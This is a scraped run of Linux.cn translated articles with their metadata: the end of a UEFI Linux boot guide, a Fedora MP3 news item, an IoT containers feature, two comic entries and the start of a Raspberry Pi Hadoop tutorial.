有关引导程序的其它类型的问题 - 如果 GRUB（或者你的发行版默认的其它引导程序或引导管理器）没有引导操作系统，你必须修复这个问题。因为 GRUB 2 引导 Windows 时非常挑剔，所以 Windows 经常启动失败。在某些情况下，安全启动会加剧这个问题。请参阅[我的关于 GRUB 2 的页面](http://www.rodsbooks.com/efi-bootloaders/grub2.html)获取一个引导 Windows 的 GRUB 2 示例。还会有很多原因导致 Linux 引导出现问题，类似于 BIOS 模式下的情况，所以我没有全部写出来。
尽管 GRUB 2 使用很普遍，但我对它的评价却不高 - 它很复杂，而且难以配置和使用。因此，如果你在使用 GRUB 的时候遇到了问题，我的第一反应就是用别的东西代替。[我的用于 Linux 的 EFI 引导程序页面](http://www.rodsbooks.com/efi-bootloaders)有其它的选择。其中包括我的 [rEFInd 引导管理器](http://www.rodsbooks.com/refind/)，它除了能够让许多发行版上的 GRUB 2 工作，也更容易安装和维护 - 但是它还不能完全代替 GRUB 2。
除此之外，EFI 引导的问题可能很奇怪，所以你需要去论坛发帖求助。尽量将问题描述完整。[Boot Info Script](http://sourceforge.net/projects/bootinfoscript/) 可帮助你提供有用的信息 - 运行此脚本，将生成的名为 RESULTS.txt 的文件粘贴到论坛的帖子上。一定要将文本粘贴到 `[code]` 和 `[/code]` 之间；不然会遭人埋怨。或者将 RESULTS.txt 文件上传到 pastebin 网站上，比如 [pastebin.com](http://pastebin.com/)，然后将网站给你的 URL 地址发布到论坛。
### 哎呀：将传统模式下安装的系统转为 EFI 模式下引导
**警告：**这些指南主要用于基于 UEFI 的 PC。如果你的 Mac 已经安装了 BIOS 模式下的 Linux，但想以 EFI 模式启动 Linux，可以*在 OS X* 中安装引导程序。rEFInd（或者旧式的 rEFIt）是 Mac 上的常用选择，但 GRUB 可以做的更多。
论坛上有很多人看了错误的教程，在已经存在 EFI 模式的 Windows 的情况下，安装了 BIOS 引导的 Linux，这一问题在 2015 年初很普遍。这样配置效果很不好，因为大多数 EFI 很难在两种模式之间切换，而且 GRUB 也无法胜任这项工作。你可能会遇到不完善的 EFI 无法启动外部介质的情况，也可能遇到 EFI 模式下的显示问题，或者其它问题。
如前所述，在“解决安装后的问题”部分，解决办法之一就是*在 Windows* 上安装 rEFInd，将其配置为支持 BIOS 模式引导。然后可以引导 rEFInd 并链式引导到你的 BIOS 模式的 GRUB。在 Linux 上遇到 EFI 特定的问题时，例如无法使用显卡，我建议你使用这个办法修复。如果你没有这样的 EFI 特定的问题，在 Windows 中安装 rEFInd 和合适的 EFI 文件系统驱动可以让 Linux 直接以 EFI 模式启动。这个解决方案很完美，它和我下面描述的内容等同。
大多数情况下，最好将 Linux 配置为以 EFI 模式启动。有很多办法可以做到，但最好的是使用 Linux 的 EFI 引导模式（或者，可以想到，Windows，或者一个 EFI shell）注册到你首选的引导管理器。实现这一目标的方法如下：
1. 下载适用于 USB 闪存驱动器或 CD-R 的 [rEFInd 引导管理器](http://www.rodsbooks.com/refind/getting.html)。
2. 从下载的镜像文件生成安装介质。可以在任何计算机上准备，不管是 EFI 还是 BIOS 的计算机都可以（或者在其它平台上使用其它方法）。
3. 如果你还没有这样做，[请禁用安全启动](http://www.rodsbooks.com/efi-bootloaders/secureboot.html#disable)。因为 rEFInd CD-R 和 USB 镜像不支持安全启动，所以这很必要，你可以在以后重新启用它。
4. 在目标计算机上启动 rEFInd。如前所述，你可能需要调整固件设置，并使用内置引导管理器选择要引导的介质。你选择的那一项也许在其描述中包含 *UEFI* 这样的字符串。
5. 在 rEFInd 上测试引导项。你应该至少看到一个启动 Linux 内核的选项（名字含有 vmlinuz 这样的字符串）。有两种方法可以启动它：
* 如果你*没有*独立的 `/boot` 分区，只需简单的选择内核并按回车键。Linux 就会启动。
* 如果你*确定有*一个独立的 `/boot` 分区，按两次 `Insert` 或 `F2` 键。这样会打开一个行编辑器，你可以用它来编辑内核选项。增加一个 `root=` 格式以标识根（/）文件系统，如果根（/）分区在 `/dev/sda5` 上，就添加 `root=/dev/sda5`。如果不知道根文件系统在哪里，那你需要重启并尽可能想到办法。在一些罕见的情况下，你可能需要添加其它内核选项来代替或补充 `root=` 选项。比如配置了 LVM（LCTT 译注：Logical Volume Manager，逻辑卷管理）的 Gentoo 就需要 `dolvm` 选项。
6. Linux 一旦启动，安装你想要的引导程序。rEFInd 的安装很简单，可以通过 RPM、Debian 软件包、PPA，或从[rEFInd 下载页面](http://www.rodsbooks.com/refind/getting.html)下载的二进制 .zip 文件进行安装。在 Ubuntu 和相关的发行版上，引导修改程序可以相对简单地修复你的 GRUB 设置，但你要对它有信心可以正常工作。（它通常工作良好，但有时候会把事情搞得一团糟。）另外一些选项都在我的 《[在 Linux 上管理 EFI 引导加载程序](http://www.rodsbooks.com/efi-bootloaders/)》 页面上。
7. 如果你想在安全启动激活的情况下引导，只需重启并启用它。但是，请注意，可能需要额外的安装步骤才能将引导程序设置为使用安全启动。有关详细信息，请参阅[我关于这个主题的页面](http://www.rodsbooks.com/efi-bootloaders/secureboot.html)或你的引导程序有关安全启动的文档资料。
重启时，你可以看到刚才安装的引导程序。如果计算机进入了 BIOS 模式下的 GRUB，你应当进入固件禁用 BIOS/CSM/legacy 支持，或调整引导顺序。如果计算机直接进入了 Windows，那么你应当阅读前一部分，“解决安装后的问题”。
你可能想或需要调整你的配置。通常是为了看到额外的引导选项，或者隐藏某些选项。请参阅引导程序的文档资料，以了解如何进行这些更改。
### 参考和附加信息
* **信息网页**
+ 我的 《[在 Linux 上管理 EFI 引导加载程序](http://www.rodsbooks.com/efi-bootloaders/)》 页面含有可用的 EFI 引导程序和引导管理器。
+ [OS X's bless tool 的手册页](http://ss64.com/osx/bless.html) 页面在设置 OS X 平台上的引导程序或引导管理器时可能会很有用。
+ [EFI 启动过程](http://homepage.ntlworld.com/jonathan.deboynepollard/FGA/efi-boot-process.html) 描述了 EFI 启动时的大致框架。
+ [Arch Linux UEFI wiki page](https://wiki.archlinux.org/index.php/Unified_Extensible_Firmware_Interface) 有大量关于 UEFI 和 Linux 的详细信息。
+ 亚当·威廉姆森写的一篇不错的 《[什么是 EFI，它是怎么工作的](https://www.happyassassin.net/2014/01/25/uefi-boot-how-does-that-actually-work-then/)》。
+ [这个页面](http://www.eightforums.com/tutorials/20256-uefi-firmware-settings-boot-inside-windows-8-a.html) 描述了如何从 Windows 8 调整 EFI 的固件设置。
+ 马修·J·加勒特是 Shim 引导程序的开发者，此程序支持安全启动，他维护的[博客](http://mjg59.dreamwidth.org/)经常更新有关 EFI 的问题。
+ 如果你对 EFI 软件的开发感兴趣，我的 《[EFI 编程](http://www.rodsbooks.com/efi-programming/)》 页面可以为你起步助力。
* **附加程序**
+ [rEFInd 官网](http://www.rodsbooks.com/refind/)
+ [gummiboot 官网](http://freedesktop.org/wiki/Software/gummiboot)
+ [ELILO 官网](http://elilo.sourceforge.net/)
+ [GRUB 官网](http://www.gnu.org/software/grub/)
+ [GPT fdisk 分区软件官网](http://www.rodsbooks.com/gdisk/)
+ Ubuntu 的 [引导修复实用工具](https://help.ubuntu.com/community/Boot-Repair)可帮助解决一些引启动问题
* **交流**
+ [Sourceforge 上的 rEFInd 交流论坛](https://sourceforge.net/p/refind/discussion/)是 rEFInd 用户互相交流或与我联系的一种方法。
+ Pastebin 网站，比如 [http://pastebin.com](http://pastebin.com/)， 是在 Web 论坛上与其他用户交换大量文本的一种便捷的方法。
（题图：Pixabay，CC0）
---
via: <http://www.rodsbooks.com/linux-uefi/>
作者：[Roderick W. Smith](rodsmith@rodsbooks.com) 译者：[fuowang](https://github.com/fuowang) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Fedora 官方合法地全面支持 MP3 编码方案
|
James Hogarth
|
https://fedoramagazine.org/full-mp3-support-coming-soon-to-fedora/
|
MP3 编码方案在过去十年间和开源界闹得颇不愉快，尤其是在美国。在历史上，由于许可证问题，Fedora 不能在其基础发行版上包括 MP3 解码或编码功能，所以，很多用户只能通过第三方软件库来提供 MP3 支持。
|
/data/attachment/album/201705/06/082915uxwvlk8y8v8ll0ww.png.thumb.jpg
|
/data/attachment/album/201705/06/082915uxwvlk8y8v8ll0ww.png
| true | false | true |
wxy
| false |
[
"MP3",
"Fedora"
] |
新闻
|
{
"viewnum": 6715,
"commentnum": 5,
"favtimes": 0,
"sharetimes": 1,
"likes": 0
}
|
[
{
"postip": "114.91.133.83",
"message": "合影多了一个哥们",
"username": "来自上海的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-05-07T11:21:49"
},
{
"postip": "223.81.192.220",
"message": "时间飞快啊！",
"username": "绿色圣光 [Firefox 45.0|GNU/Linux]",
"date": "2017-05-07T22:09:58"
},
{
"postip": "183.14.31.235",
"message": "这都被你发现了。",
"username": "何亮 [Chrome 58.0|Windows 7]",
"date": "2017-05-09T16:10:00"
},
{
"postip": "36.149.209.168",
"message": "猜测1987年那张照片是多出来的那位拍摄的。",
"username": "来自36.149.209.168的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-05-15T17:02:56"
},
{
"postip": "111.201.15.34",
"message": "有道理",
"username": "linux [Chrome 57.0|Mac 10.11]",
"date": "2017-05-15T18:14:32"
}
] |
[] |
MP3 编码方案在过去十年间和开源界闹得颇不愉快，尤其是在美国。在历史上，由于许可证问题，Fedora 不能在其基础发行版上包括 MP3 解码或编码功能，所以，很多用户只能通过第三方软件库来提供 MP3 支持。
| 2017-05-06T08:29:00 | 2017-05-06T08:29:00 | 8,482 |
/article-8482-1.html
|
MP3 的编码和解码不久将被 Fedora 官方支持。
[去年十一月](https://lists.fedoraproject.org/archives/list/legal@lists.fedoraproject.org/thread/PUCTFFYU5L2A3L7QVME7TOMX3R6WIO2F/#34NPNTJITRHRP2FRKKYGL2YMEUU4BDYF)，随着覆盖了 MP3 解码的专利失效后，[Fedora Workstation](https://blogs.gnome.org/uraeus/2016/11/10/mp3-support-now-coming-to-fedora-workstation-25/) 通过 [mpg123](https://www.mpg123.de/) 库和 GStreamer 启用了 MP3 解码支持。该更新允许用户通过安装在他们的计算机中的 gstreamer1-plugin-mpg123 软件包来播放 MP3 编码的音乐。
MP3 编码方案在过去十年间和开源界闹得颇不愉快，尤其是在美国。在历史上，由于[许可证问题](https://www.redhat.com/archives/rhl-devel-list/2007-November/msg00028.html)，Fedora 不能在其基础发行版上包括 MP3 解码或编码功能，所以，很多用户只能通过第三方软件库来提供 MP3 支持。
两周前，由于专利到期，[IIS Fraunhofer and Technicolor 终止了他们的授权流程](https://www.iis.fraunhofer.de/en/ff/amm/prod/audiocodec/audiocodecs/mp3.html)，并在几天前， Red Hat 法律部门[批准了在 Fedora 中提供 MP3 编码支持](https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/KM557DP7OR2UEEPYQRNHJU7T45XDSXYJ/)。不过还需要一点时间进行软件包审查，该工具是确定会被加入的。同时要说明的是只包括 MP3 而非其它的 MPEG 技术。相信很快我们就可以在 Fedora 中不用第三方库即可转换各种格式的音乐为 MP3 了。
附录：
MP3 的开发始于上世纪八十年代的 Fraunhofer IIS，其基于之前的埃尔兰根-纽伦堡大学的研究成功而开发。2017 年 4 月 23， Technicolor 结束了 MP3 的相关专利授权流程。虽然今天 MP3 已经不是最有效、最先进的音频编码方案了，但是在过去的二十年间，MP3 一直是最流行的音频编码方案，在之后若干年，MP3 想必也会流行依旧。
以下是来自 [mp3-history.com](https://www.mp3-history.com/) 上的两张开发团队合影，有关 MP3 的历史信息也请查阅此网站：
|
||
Linux 容器能否弥补 IoT 的安全短板？
|
Eric Brown
|
http://hackerboards.com/can-linux-containers-save-iot-from-a-security-meltdown/
|
我们将探讨两种基于 Linux 的面向 Docker 的容器技术，这些技术被提出作为物联网安全解决方案。容器还可以帮助解决我们在物联网框架中探讨的开发复杂性和互操作性障碍的问题。
|
/data/attachment/album/201705/06/185948m5sv715es6ax32vv.jpg.thumb.jpg
|
/data/attachment/album/201705/06/185948m5sv715es6ax32vv.jpg
| true | false | true |
firstadream
| false |
[
"IoT",
"容器"
] |
观点
|
{
"viewnum": 6101,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
我们将探讨两种基于 Linux 的面向 Docker 的容器技术，这些技术被提出作为物联网安全解决方案。容器还可以帮助解决我们在物联网框架中探讨的开发复杂性和互操作性障碍的问题。
| 2017-05-06T18:59:57 | 2017-05-06T18:59:57 | 8,483 |
/article-8483-1.html
|
>
> 在这个最后的物联网系列文章中，Canonical 和 Resin.io 向以 Linux 容器技术作为解决方案向物联网安全性和互操作性发起挑战。
>
>
>
尽管受到日益增长的安全威胁，但对物联网（IoT）的炒作没有显示减弱的迹象。为了刷存在感，公司们正忙于重新规划它们的物联网方面的路线图。物联网大潮迅猛异常，比移动互联网革命渗透的更加深入和广泛。IoT 像黑洞一样，吞噬一切，包括智能手机，它通常是我们通向物联网世界的窗口，有时也作为我们的汇聚点或终端。
新的针对物联网的处理器和嵌入式主板继续重塑其技术版图。自从 9 月份推出 [面向物联网的 Linux 和开源硬件](http://hackerboards.com/linux-and-open-source-hardware-for-building-iot-devices/) 系列文章之后，我们看到了面向物联网网关的 “Apollo Lake]” SoC 芯片 [Intel Atom E3900](http://hackerboards.com/intel-launches-14nm-atom-e3900-and-spins-an-automotive-version/) 以及[三星 新的 Artik 模块](http://hackerboards.com/samsung-adds-first-64-bit-and-cortex-m4-based-artik-modules/)，包括用于网关并由 Linux 驱动的 64 位 Artik 7 COM 及自带 RTOS 的 Cortex-M4 Artik。 ARM 为具有 ARMv8-M 和 TrustZone 安全性的 IoT 终端发布了 [Cortex-M23 和 Cortex-M33](http://hackerboards.com/new-cortex-m-chips-add-armv8-and-trustzone/) 芯片。
*Artik 7*
讲道理，安全是这些产品的卖点。最近攻击 Dyn 服务并在一天内摧毁了美国大部分互联网的 Mirai 僵尸网络将基于 Linux 的物联网推到台前 - 当然这种方式似乎不太体面。就像 IoT 设备可以成为 DDoS 的帮凶一样，设备及其所有者同样可能直接遭受恶意攻击。
*Cortex-M33 和 -M23*
Dyn 攻击事件更加证明了这种观点，即物联网将更加蓬勃地在受控制和受保护的工业环境发展，而不是家用环境中。这不是因为没有消费级[物联网安全技术](http://hackerboards.com/exploring-security-challenges-in-linux-based-iot-devices/)，但除非产品设计之初就以安全为目标，否则如我们的[智能家居集线器系列](http://hackerboards.com/linux-based-smart-home-hubs-advance-into-ai/)中的许多解决方案一样，后期再考虑安全就会增加成本和复杂性。
在物联网系列的最后这个未来展望的部分，我们将探讨两种基于 Linux 的面向 Docker 的容器技术，这些技术被提出作为物联网安全解决方案。容器还可以帮助解决我们在[物联网框架](http://hackerboards.com/open-source-projects-for-the-internet-of-things-from-a-to-z/)中探讨的开发复杂性和互操作性障碍的问题。
我们与 Canonical 的 Ubuntu 客户平台工程副总裁 Oliver Ries 讨论了 Ubuntu Core 和适用于 Docker 的容器式 Snaps 包管理技术。我们还就新的基于 Docker 的物联网方案 ResinOS 采访了 Resin.io 首席执行官和联合创始人 Alexandros Marinos。
### Ubuntu Core Snaps
Canonical 面向物联网的 [Snappy Ubuntu Core](http://hackerboards.com/lightweight-snappy-ubuntu-core-os-targets-iot/) 版本的 Ubuntu 是围绕一个类似容器的快照包管理机制而构建的，并提供应用商店支持。 snaps 技术最近[自行发布了](http://hackerboards.com/canonical-pushes-snap-as-a-universal-linux-package-format/)用于其他 Linux 发行版的版本。去年 11 月 3 日，Canonical 发布了 [Ubuntu Core 16](http://hackerboards.com/ubuntu-core-16-gets-smaller-goes-all-snaps/)，该版本改进了白标应用商店和更新控制服务。
*传统 Ubuntu（左）架构 与 Ubuntu Core 16*
快照机制提供自动更新，并有助于阻止未经授权的更新。 使用事务系统管理，快照可确保更新按预期部署或根本不部署。 在 Ubuntu Core 中，使用 AppArmor 进一步加强了安全性，并且所有应用程序文件都是只读的且保存在隔离的孤岛中。
*LimeSDR*
Ubuntu Core 是我们最近展开的[开源物联网操作系统调查](http://hackerboards.com/open-source-oses-for-the-internet-of-things/)的一部分，现在运行于 Gumstix 主板、Erle 机器人无人机、Dell Edge 网关、[Nextcloud Box](http://hackerboards.com/private-cloud-server-and-iot-gateway-runs-ubuntu-snappy-on-rpi/)、LimeSDR、Mycroft 家庭集线器、英特尔的 Joule 和符合 Linaro 的 96Boards 规范的 SBC（单板计算机） 上。 Canonical 公司还与 Linaro 物联网和嵌入式（LITE）部门集团在其 [96Boards 物联网版（IE）](http://hackerboards.com/linaro-beams-lite-at-internet-of-things-devices/) 上达成合作。最初，96Boards IE 专注于 Zephyr 驱动的 Cortex-M4 板卡，如 Seeed 的 [BLE Carbon](http://hackerboards.com/96boards-goes-cortex-m4-with-iot-edition-and-carbon-sbc/)，不过它将扩展到可以运行 Ubuntu Core 的网关板卡上。
“Ubuntu Core 和 snaps 具有从边缘到网关到云的相关性，”Canonical 的 Ries 说。 “能够在任何主要发行版（包括 Ubuntu Server 和 Ubuntu for Cloud）上运行快照包，使我们能够提供一致的体验。 snaps 可以使用事务更新以免故障方式升级，可用于安全性更新、错误修复或新功能的持续更新，这在物联网环境中非常重要。”
*Nextcloud盒子*
安全性和可靠性是关注的重点，Ries 说。 “snaps 应用可以完全独立于彼此和操作系统而运行，使得两个应用程序可以安全地在单个网关上运行，”他说。 “snaps 是只读的和经过认证的，可以保证代码的完整性。
Ries 还说这种技术减少开发时间。 “snap 软件包允许开发人员向支持它的任何平台提供相同的二进制包，从而降低开发和测试成本，减少部署时间和提高更新速度。 “使用 snap 软件包，开发人员完可以全控制开发生命周期，并可以立即更新。 snap 包提供了所有必需的依赖项，因此开发人员可以选择定制他们使用的组件。”
### ResinOS: 为 IoT 而生的 Docker
Resin.io 公司，与其商用的 IoT 框架同名，最近剥离了该框架的基于 Yocto Linux 的 [ResinOS 2.0](http://hackerboards.com/can-linux-containers-save-iot-from-a-security-meltdown/%3Ca%20href=)，ResinOS 2.0 将作为一个独立的开源项目运营。 Ubuntu Core 在 snap 包中运行 Docker 容器引擎，ResinOS 在主机上运行 Docker。 极致简约的 ResinOS 抽离了使用 Yocto 代码的复杂性，使开发人员能够快速部署 Docker 容器。
*ResinOS 2.0 架构*
与基于 Linux 的 CoreOS 一样，ResinOS 集成了 systemd 控制服务和网络协议栈，可通过异构网络安全地部署更新的应用程序。 但是，它是为在资源受限的设备（如 ARM 黑客板）上运行而设计的，与之相反，CoreOS 和其他基于 Docker 的操作系统（例如基于 Red Hat 的 Project Atomic）目前仅能运行在 x86 上，并且更喜欢资源丰富的服务器平台。 ResinOS 可以在 20 中 Linux 设备上运行，并不断增长，包括 Raspberry Pi，BeagleBone 和Odroid-C1 等。
“我们认为 Linux 容器对嵌入式系统比对于云更重要，”Resin.io 的 Marinos 说。 “在云中，容器代表了对之前的进程的优化，但在嵌入式中，它们代表了姗姗来迟的通用虚拟化“
*BeagleBone Black*
当应用于物联网时，完整的企业级虚拟机有直接访问硬件的限制的性能缺陷，Marinos 说。像 OSGi 和 Android 的Dalvik 这样的移动设备虚拟机可以用于 IoT，但是它们依赖 Java 并有其他限制。
对于企业开发人员来说，使用 Docker 似乎很自然，但是你如何说服嵌入式黑客转向全新的范式呢？ “Marinos 解释说，”ResinOS 不是把云技术的实践经验照单全收，而是针对嵌入式进行了优化。”此外，他说，容器比典型的物联网技术更好地包容故障。 “如果有软件缺陷，主机操作系统可以继续正常工作，甚至保持连接。要恢复，您可以重新启动容器或推送更新。更新设备而不重新启动它的能力进一步消除了故障引发问题的机率。”
据 Marinos 所说，其他好处源自与云技术的一致性，例如拥有更广泛的开发人员。容器提供了“跨数据中心和边缘的统一范式，以及一种方便地将技术、工作流、基础设施，甚至应用程序转移到边缘（终端）的方式。”
Marinos 说，容器中的固有安全性优势正在被其他技术增强。 “随着 Docker 社区推动实现镜像签名和鉴证，这些自然会转移并应用到 ResinOS，”他说。 “当 Linux 内核被强化以提高容器安全性时，或者获得更好地管理容器所消耗的资源的能力时，会产生类似的好处。
容器也适合开源 IoT 框架，Marinos 说。 “Linux 容器很容易与几乎各种协议、应用程序、语言和库结合使用，”Marinos 说。 “Resin.io 参加了 AllSeen 联盟，我们与使用 IoTivity 和 Thread的 伙伴一起合作。”
### IoT的未来：智能网关与智能终端
Marinos 和 Canonical 的 Ries 对未来物联网的几个发展趋势具有一致的看法。 首先，物联网的最初概念（其中基于 MCU 的端点直接与云进行通信以进行处理）正在迅速被雾化计算架构所取代。 这需要更智能的网关，也需要比仅仅在 ZigBee 和 WiFi 之间聚合和转换数据更多的功能。
其次，网关和智能边缘设备越来越多地运行多个应用程序。 第三，许多这些设备将提供板载分析，这些在最新的[智能家居集线器](http://hackerboards.com/linux-based-smart-home-hubs-advance-into-ai/)上都有体现。 最后，富媒体将很快成为物联网组合的一部分。
*最新设备网关: Eurotech 的 [ReliaGate 20-26](http://hackerboards.com/atom-based-gateway-taps-new-open-source-iot-cloud-platform/)*
*最新设备网关: Advantech 的 [UBC-221](http://hackerboards.com/compact-iot-gateway-runs-yocto-linux-on-quark/)*
“智能网关正在接管最初为云服务设计的许多处理和控制功能，”Marinos 说。 “因此，我们看到对容器化的推动力在增加，可以在 IoT 设备中使用类似云工作流程来部署与功能和安全相关的优化。去中心化是由移动数据紧缩、不断发展的法律框架和各种物理限制等因素驱动的。”
Ubuntu Core 等平台正在使“可用于网关的软件爆炸式增长”，Canonical 的 Ries 说。 “在单个设备上运行多个应用程序的能力吸引了众多单一功能设备的用户，以及现在可以产生持续的软件收入的设备所有者。”
*两种 IoT 网关: [MyOmega MYNXG IC2 Controller](http://hackerboards.com/wireless-crazed-customizable-iot-gateway-uses-arm-or-x86-coms/)*
*两种 IoT 网关: TechNexion 的 [LS1021A-IoT Gateway](http://hackerboards.com/iot-gateway-runs-linux-on-qoriq-accepts-arduino-shields/)*
不仅是网关 - 终端也变得更聪明。 “阅读大量的物联网新闻报道，你得到的印象是所有终端都运行在微控制器上，”Marinos 说。 “但是我们对大量的 Linux 终端，如数字标牌，无人机和工业机械等直接执行任务，而不是作为操作中介（数据转发）感到惊讶。我们称之为影子 IoT。”
Canonical 的 Ries 同意，对简约技术的专注使他们忽视了新兴物联网领域。 “轻量化的概念在一个发展速度与物联网一样快的行业中初现端倪，”Ries 说。 “今天的高级消费硬件可以持续为终端供电数月。”
虽然大多数物联网设备将保持轻量和“无头”（一种配置方式，比如物联网设备缺少显示器，键盘等），它们装备有如加速度计和温度传感器这样的传感器并通过低速率的数据流通信，但是许多较新的物联网应用已经使用富媒体。 “媒体输入/输出只是另一种类型的外设，”Marinos 说。 “总是存在多个容器竞争有限资源的问题，但它与传感器或蓝牙竞争天线资源没有太大区别。”
Ries 看到了工业和家庭网关中“提高边缘智能”的趋势。 “我们看到人工智能、机器学习、计算机视觉和上下文意识的大幅上升，”Ries 说。 “为什么要在云中运行面部检测软件，如果相同的软件可以在边缘设备运行而又没有网络延迟和带宽及计算成本呢？“
当我们在这个物联网系列的[开篇故事](http://hackerboards.com/an-open-source-perspective-on-the-internet-of-things-part-1/)中探索时，我们发现存在与安全相关的物联网问题，例如隐私丧失和生活在监视文化中的权衡。还有一些问题如把个人决策交给可能由他人操控的 AI 裁定。这些不会被容器，快照或任何其他技术完全解决。
如果 AWS Alexa 可以处理生活琐事，而我们专注在要事上，也许我们会更快乐。或许有一个方法来平衡隐私和效用，现在，我们仍在探索，如此甚好。
---
via: <http://hackerboards.com/can-linux-containers-save-iot-from-a-security-meltdown/>
作者：[Eric Brown](http://hackerboards.com/can-linux-containers-save-iot-from-a-security-meltdown/) 译者：[firstadream](https://github.com/firstadream) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：消沉的程序员 15
|
Daniel Stori
|
http://turnoff.us/geek/the-depressed-developer-15/
|
不管是哪行哪业，诸如 It 行业的代码、生成加工等，安全大概都是可以作为一个永恒的话题。越是觉得可以忽略的细小事情，还真是月容易造成重大的安全事故。所以，不管何种情况下，该做的安全考虑都是必不可少的。
|
/data/attachment/album/201705/06/235852f66ieuuxi5ieibhh.png.thumb.jpg
|
/data/attachment/album/201705/06/235852f66ieuuxi5ieibhh.png.large.jpg
| false | false | true |
GHLandy
| false |
[
"漫画",
"程序员"
] |
极客漫画
|
{
"viewnum": 6912,
"commentnum": 1,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "223.81.192.220",
"message": "哈哈！安全无小事。",
"username": "绿色圣光 [Firefox 45.0|GNU/Linux]",
"date": "2017-05-08T12:35:09"
}
] |
[] |
不管是哪行哪业，诸如 It 行业的代码、生成加工等，安全大概都是可以作为一个永恒的话题。越是觉得可以忽略的细小事情，还真是月容易造成重大的安全事故。所以，不管何种情况下，该做的安全考虑都是必不可少的。
| 2017-05-07T08:00:00 | 2017-05-07T08:00:00 | 8,484 |
/article-8484-1.html
|
不管是哪行哪业，诸如 IT 行业的代码、生成加工等，安全大概都是可以作为一个永恒的话题。越是觉得可以忽略的细小事情，还真是越容易造成重大的安全事故。所以，不管何种情况下，该做的安全考虑都是必不可少的。
---
译者简介：
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中，有些事儿注定无人知晓，自己也无从说起。
---
via：<http://turnoff.us/geek/the-depressed-developer-15/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者：[GHLandy](https://github.com/GHLandy) 校对：[wxy](https://github.com/wxy) 合成：[GHLandy](https://github.com/GHLandy) 点评：[GHLandy](https://github.com/GHLandy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
极客漫画：消沉的程序员 16
|
Daniel Stori
|
http://turnoff.us/geek/the-depressed-developer-16/
|
哎，又是 Bug 和 Debug！ 感觉代码之中永远脱离不了这个魔咒啊！还真是尴尬。不知道，编码之间进行详细的规划，能不能尽量避免那些不必要的 Bug？
|
/data/attachment/album/201705/07/000105y4q8mxr89655xfzg.png.thumb.jpg
|
/data/attachment/album/201705/07/000105y4q8mxr89655xfzg.png.large.jpg
| false | false | true |
GHLandy
| false |
[
"漫画",
"程序员"
] |
极客漫画
|
{
"viewnum": 7051,
"commentnum": 2,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "223.81.192.220",
"message": "哈哈！形象！",
"username": "绿色圣光 [Firefox 45.0|GNU/Linux]",
"date": "2017-05-08T12:33:00"
},
{
"postip": "160.16.56.242",
"message": "多么生动形象！",
"username": "泽楠弟弟 [Safari 10.1|Mac 10.12]",
"date": "2017-05-08T13:45:06"
}
] |
[] |
哎，又是 Bug 和 Debug！ 感觉代码之中永远脱离不了这个魔咒啊！还真是尴尬。不知道，编码之间进行详细的规划，能不能尽量避免那些不必要的 Bug？
| 2017-05-08T08:58:00 | 2017-05-08T08:58:00 | 8,485 |
/article-8485-1.html
|
哎，又是 Bug 和 Debug！ 感觉代码之中永远脱离不了这个魔咒啊！还真是尴尬。不知道，编码之间进行详细的规划，能不能尽量避免那些不必要的 Bug？
---
译者简介：
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中，有些事儿注定无人知晓，自己也无从说起。
---
via:
* <http://turnoff.us/geek/the-depressed-developer-16/>
作者：[Daniel Stori](http://turnoff.us/about/) 译者：[GHLandy](https://github.com/GHLandy) 校对：[wxy](https://github.com/wxy) 合成：[GHLandy](https://github.com/GHLandy) 点评：[GHLandy](https://github.com/GHLandy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
大数据探索：在树莓派上通过 Apache Spark on YARN 搭建 Hadoop 集群
|
Pk
|
https://dqydj.com/raspberry-pi-hadoop-cluster-apache-spark-yarn/
|
今天我将向你展示对大数据的一点探索，不过有点变化，使用的是全世界最流行的微型电脑————树莓派
|
/data/attachment/album/201705/07/023744ysdd41g0e4g45d1k.jpg.thumb.jpg
|
/data/attachment/album/201705/07/023744ysdd41g0e4g45d1k.jpg
| true | false | true |
sfantree
| false |
[
"大数据",
"Hadoop",
"树莓派"
] |
树莓派
|
{
"viewnum": 16870,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
今天我将向你展示对大数据的一点探索，不过有点变化，使用的是全世界最流行的微型电脑————树莓派
| 2017-05-07T09:27:00 | 2017-05-07T09:27:00 | 8,486 |
/article-8486-1.html
|
有些时候我们想从 DQYDJ 网站的数据中分析点有用的东西出来，在过去，我们要[用 R 语言提取固定宽度的数据](https://dqydj.com/how-to-import-fixed-width-data-into-a-spreadsheet-via-r-playing-with-ipums-cps-data/)，然后通过数学建模来分析[美国的最低收入补贴](http://dqydj.com/negative-income-tax-cost-calculator-united-states/)，当然也包括其他优秀的方法。
今天我将向你展示对大数据的一点探索，不过有点变化，使用的是全世界最流行的微型电脑————[树莓派](https://www.raspberrypi.org/)，如果手头没有，那就看下一篇吧（可能是已经处理好的数据），对于其他用户，请继续阅读吧，今天我们要建立一个树莓派 Hadoop集群！
### I. 为什么要建立一个树莓派的 Hadoop 集群？
*由三个树莓派节点组成的 Hadoop 集群*
我们对 DQYDJ 的数据做了[大量的处理工作](https://dqydj.com/finance-calculators-investment-calculators-and-visualizations/)，但这些还不能称得上是大数据。
和许许多多有争议的话题一样，数据的大小之别被解释成这样一个笑话：
>
> 如果能被内存所存储，那么它就不是大数据。 ————佚名
>
>
>
似乎这儿有两种解决问题的方法：
1. 我们可以找到一个足够大的数据集合，任何家用电脑的物理或虚拟内存都存不下。
2. 我们可以买一些不用特别定制，我们现有数据就能淹没它的电脑：
